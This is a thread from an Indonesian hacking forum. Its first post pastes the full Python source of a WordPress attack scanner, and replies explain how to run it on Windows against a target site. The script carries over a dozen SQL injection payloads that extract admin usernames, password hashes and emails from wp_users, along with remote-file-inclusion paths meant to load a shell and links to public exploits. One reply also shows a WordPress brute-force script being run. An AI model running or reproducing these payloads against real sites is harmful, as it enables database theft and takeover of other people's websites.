Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 06-19-2013, 06:43 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Exploit v
« Previous 1 ... 5 6 7 8 9 ... 16 Next »

[ASK]Menjalankan exploit perl dan phyton untuk linux di windows

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
[ASK]Menjalankan exploit perl dan phyton untuk linux di windows
08-05-2011, 02:45 PM
Post: #1
c0d3HitLER Offline
./Devilz Commander
Posts: 267
Joined: Feb 2011
Reputation: 0
[ASK]Menjalankan exploit perl dan phyton untuk linux di windows
saya dapat tools ini yang dibuat dari perl untuk scanning wordpress

Code:
#!/usr/bin/python
#WordPress SQL/RFI/CGI scanner. SQL will check
#for md5's in the source and RFI/CGI will use
#Mavi_Karanlık

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, urllib2, re, time, httplib

#Bad HTTP Responses
BAD_RESP = [400,401,404]

def main(path):
    print "[+] Testing:",host.split("/",1)[1]+path
    try:
        h = httplib.HTTP(host.split("/",1)[0])
        h.putrequest("HEAD", "/"+host.split("/",1)[1]+path)
        h.putheader("Host", host.split("/",1)[0])
        h.endheaders()
        resp, reason, headers = h.getreply()
        return resp, reason, headers.get("Server")
    except(), msg:
        print "Error Occurred:",msg
        pass

def timer():
    now = time.localtime(time.time())
    return time.asctime(now)

print "\n\t   d3hydr8[at]gmail[dot]com WPScan v1.0"
print "\t------------------------------------------"

sqls = ["index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*",
    "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*",
    "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23",
    "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*",
    "plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--",
    "plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--"
    "plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users",
    "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users",
    "plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users",
    "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*",
    "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    "index?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201",
    "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*",
    "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain"]

rfis = {"plugins/Enigma2.php":"index/wp-content/plugins/Enigma2.php?boarddir=shell",
    "mygallery/myfunctions/mygallerybrowser.php":"mygallery/myfunctions/mygallerybrowser.php?myPath=shell",
    "plugins/wp-table/js/wptable-button.phpp":"plugins/wp-table/js/wptable-button.phpp?wpPATH=shell",
    "plugins/wordtube/wordtube-button.php":"plugins/wordtube/wordtube-button.php?wpPATH=shell",
    "plugins/myflash/myflash-button.php":"plugins/myflash/myflash-button.php?wpPATH=shell",
    "plugins/BackUp/Archive.php":"plugins/BackUp/Archive.php?bkpwp_plugin_path=shell",
    "plugins/BackUp/Archive/Predicate.php":"plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=shell",
    "plugins/BackUp/Archive/Writer.php":"plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=shell",
    "plugins/BackUp/Archive/Reader.php":"plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=shell",
    "plugins/sniplets/modules/syntax_highlight.php":"plugins/sniplets/modules/syntax_highlight.php?libpath=shell"}

cgis = {"wp-trackback.php":"http://milw0rm.com/exploits/3095",
    "wp-admin/users.php":"http://milw0rm.com/exploits/1059",
    "xmlrpc.php":"http://milw0rm.com/exploits/1077",
    "wp-includes/cache.php":"http://milw0rm.com/exploits/6",
    "wp-trackback.php":"http://milw0rm.com/exploits/3095",
    "plugins/mygallerytmpl.php":"http://milw0rm.com/exploits/3814",
    "wp-admin/admin-ajax.php":"http://milw0rm.com/exploits/3960",
    "wp-app.php":"http://milw0rm.com/exploits/4113",
    "plugins/pictpress/resize.php":"http://milw0rm.com/exploits/4695",
    "plugins/wp-filemanager/ajaxfilemanager/ajaxfilemanager.php":"http://milw0rm.com/exploits/4844",
    "plugins/wp-adserve/adclick.php":"http://milw0rm.com/exploits/5013",
    "wp-admin/admin.php?page=dmsguestbook":"http://milw0rm.com/exploits/5035",
    "plugins/downloads-manager/upload.php":"http://milw0rm.com/exploits/6127"}

if len(sys.argv) != 2:
    print "\nUsage: ./wpscan.py "
    print "Ex: ./wpscan.py www.site.com/wp-content/\n"
    sys.exit(1)

host = sys.argv[1].replace("http://","").rsplit("/",1)[0]
if host[-1] != "/":
    host = host+"/"
    
print "\n[+] Site:",host
print "[+] SQL Loaded:",len(sqls)
print "[+] RFI Loaded:",len(rfis)
print "[+] CGI Loaded:",len(cgis)

server = main("/")[2]
print "[+] Server:",server

print "\n[+] Started:",timer()

print "\n[+] Scanning: SQL\n"
for sql in sqls:
    time.sleep(2) #Change this if needed
    print "[+] Trying:",sql.replace("\n","")
    try:
        source = urllib2.urlopen("http://"+host+sql.replace("\n","")).read()
        md5s = re.findall("[a-f0-9]"*32,source)
        if len(md5s) >= 1:
            print "[!]",host+sql.replace("\n","")
            for md5 in md5s:
                print "\n\t[+]MD5:",md5
    except(urllib2.HTTPError):
        pass
print "\n[+] Scanning: RFI\n"
for rfi, shell in rfis.items():
    resp,reason,server = main(rfi)
    if resp not in BAD_RESP:
        print "\t[+] Got:",resp, reason
        print "\t[+] Try:",host+shell
    else:
        print "\t[-] Got:",resp, reason
print "\n[+] Scanning: CGI\n"
for cgi, expl in cgis.items():
    resp,reason,server = main(cgi)
    if resp not in BAD_RESP:
        print "\t[+] Got:",resp, reason
        print "\t[+] Check:",expl
    else:
        print "\t[-] Got:",resp, reason
print "\n[-] Done\n"
yang saya tanyakan bagaimana cara menjalankan exploit yang pasalnya untuk linux agar bisa jalan mulus di windows?
saya bingung karena selalu tidak bisa dijalankan
tolong ya kakak" semua tutorialnya step by step kalo bisa yang indo
makasih belajar
Find all posts by this user
Quote this message in a reply
08-05-2011, 03:12 PM (This post was last modified: 08-06-2011 02:12 PM by anko_kum4ru.)
Post: #2
anko_kum4ru Offline
./b0k3p3r_4r34
****
Global Moderators
Posts: 1,456
Joined: Dec 2010
Reputation: 10
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
kayaxnya omz perdu instal aktiv perl dulu omz buat si windows.. belajar
iya tuh yg diatasz si phyton,, pinter
jdi instal pythonnya dulu.. belajar
Visit this user's website Find all posts by this user
Quote this message in a reply
08-05-2011, 07:50 PM
Post: #3
note Offline
DC Security terganteng
*****
DC Security Grup
Posts: 1,280
Joined: Feb 2010
Reputation: 13
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
wah btw2 itu tools python deh,install dulu aja pythonnya trus jalanin dari cmd ketawa
Visit this user's website Find all posts by this user
Quote this message in a reply
08-05-2011, 09:53 PM
Post: #4
xc0debatch Offline
Apa Aja Boleh
Posts: 436
Joined: May 2011
Reputation: 20
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
Quote:#!/usr/bin/python

Iya om ,python punya tuh .
dulu di windows nya
Visit this user's website Find all posts by this user
Quote this message in a reply
08-06-2011, 08:09 AM
Post: #5
seva Offline
Penjual Obat Kuat
Posts: 571
Joined: Sep 2010
Reputation: 2
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
yang seperti ini ya active perl itu?? belajarbelajar trus comand2 nya gmn??? asik
Visit this user's website Find all posts by this user
Quote this message in a reply
08-06-2011, 01:52 PM
Post: #6
iksandarkmission Offline
./Devilz Officer
Posts: 181
Joined: May 2010
Reputation: 2
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
C:\Python27>wordpressscan.py -h

d3hydr8[at]gmail[dot]com WPScan v1.0
------------------------------------------

[+] Site: -h/
[+] SQL Loaded: 14
[+] RFI Loaded: 10
[+] CGI Loaded: 12
[+] Testing: /
Traceback (most recent call last):
File "C:\Python27\wordpressscan.py", line 89, in <module>
server = main("/")[2]
File "C:\Python27\wordpressscan.py", line 20, in main
h.endheaders()
File "C:\Python27\lib\httplib.py", line 937, in endheaders
self._send_output(message_body)
File "C:\Python27\lib\httplib.py", line 797, in _send_output
self.send(msg)
File "C:\Python27\lib\httplib.py", line 759, in send
self.connect()
File "C:\Python27\lib\httplib.py", line 740, in connect
self.timeout, self.source_address)
File "C:\Python27\lib\socket.py", line 553, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
socket.gaierror: [Errno 11001] getaddrinfo failed

C:\Python27>


dead
Find all posts by this user
Quote this message in a reply
08-06-2011, 02:18 PM
Post: #7
nubietools Offline
./Devilz Officer
Posts: 91
Joined: Feb 2011
Reputation: 0
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
alo kaya gini gimana tuh omz semua>

C:\Python26>wp-brute.py -h
File "C:\Python26\wp-brute.py", line 172
while 1:
^
IndentationError: unexpected indent
Find all posts by this user
Quote this message in a reply
08-06-2011, 05:28 PM
Post: #8
kalayana.tantri Offline
./Devilz Officer
Posts: 54
Joined: Mar 2011
Reputation: 0
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
(08-06-2011 01:52 PM)iksandarkmission Wrote:  C:\Python27>wordpressscan.py -h

d3hydr8[at]gmail[dot]com WPScan v1.0
------------------------------------------

[+] Site: -h/
[+] SQL Loaded: 14
[+] RFI Loaded: 10
[+] CGI Loaded: 12
[+] Testing: /
Traceback (most recent call last):
File "C:\Python27\wordpressscan.py", line 89, in <module>
server = main("/")[2]
File "C:\Python27\wordpressscan.py", line 20, in main
h.endheaders()
File "C:\Python27\lib\httplib.py", line 937, in endheaders
self._send_output(message_body)
File "C:\Python27\lib\httplib.py", line 797, in _send_output
self.send(msg)
File "C:\Python27\lib\httplib.py", line 759, in send
self.connect()
File "C:\Python27\lib\httplib.py", line 740, in connect
self.timeout, self.source_address)
File "C:\Python27\lib\socket.py", line 553, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
socket.gaierror: [Errno 11001] getaddrinfo failed

C:\Python27>


dead

caranya: wordpressscan.py http://www.target.com/wp-content/

(08-06-2011 02:18 PM)nubietools Wrote:  alo kaya gini gimana tuh omz semua>

C:\Python26>wp-brute.py -h
File "C:\Python26\wp-brute.py", line 172
while 1:
^
IndentationError: unexpected indent

kan keliatan errornya "IndentationError: unexpected indent".
Find all posts by this user
Quote this message in a reply
08-08-2011, 06:42 PM
Post: #9
nazigirl Offline
./Devilz 1st Cadet
Posts: 14
Joined: Jul 2011
Reputation: 1
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
wah kaya nya bukan gw doang yg error di windows
Find all posts by this user
Quote this message in a reply
08-08-2011, 07:20 PM
Post: #10
c0d3HitLER Offline
./Devilz Commander
Posts: 267
Joined: Feb 2011
Reputation: 0
RE: [ASK]Menjalankan exploit perl dan phyton untuk linux di windows
hanya install activeperl dan python?
selanjutnya #!/usr/bin/python gmn?
mohon petunjuk yang lengkap dongasik
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] KUMPULAN EXPLOIT WP, JOOMLA, PhpBB and more... barrabravaz 51 502 Yesterday 11:47 PM
Last Post: atav4r
  Eksploitasi SEH Record di Mesin Windows mywisdom 5 71 Yesterday 02:42 AM
Last Post: badwolves1986
Bug [Tutor] Facebook session Exploit Priv8 abuabu_hat10 25 594 06-16-2013 02:27 AM
Last Post: abuabu_hat10
  [Tutor] exploit Windows dengan MS.Word doc Clound_Ajah 8 144 06-15-2013 04:14 PM
Last Post: Clound_Ajah
Wink [EVENT] Training Advanced Exploit Development 22-23 Juni dan 29-30 Juni ne0z 22 260 06-13-2013 11:34 AM
Last Post: ne0z
  [Tutor] Exploit Windows dengan SET Clound_Ajah 14 171 06-13-2013 03:07 AM
Last Post: willyarisky
  Bypassing ASLR During Remote Stack Overflow Exploitation on Linux - Method 1 cr0security 1 76 06-09-2013 07:13 PM
Last Post: ne0z
  [Ask] [metasploit] gagal exploit ke komputer target via LAN w0rmil_alazka 13 263 05-31-2013 10:20 AM
Last Post: ubuntux
  [Tutor] WordPress Exploit (easy-comment-uploads/upload-form.php) XPByte 16 1,116 05-19-2013 05:40 PM
Last Post: oe_c0x
  MinaliC Webserver 2.0.0 HTTP Post Exploit cr0security 8 149 04-23-2013 09:07 AM
Last Post: darkmessage

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 06-19-2013, 06:43 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE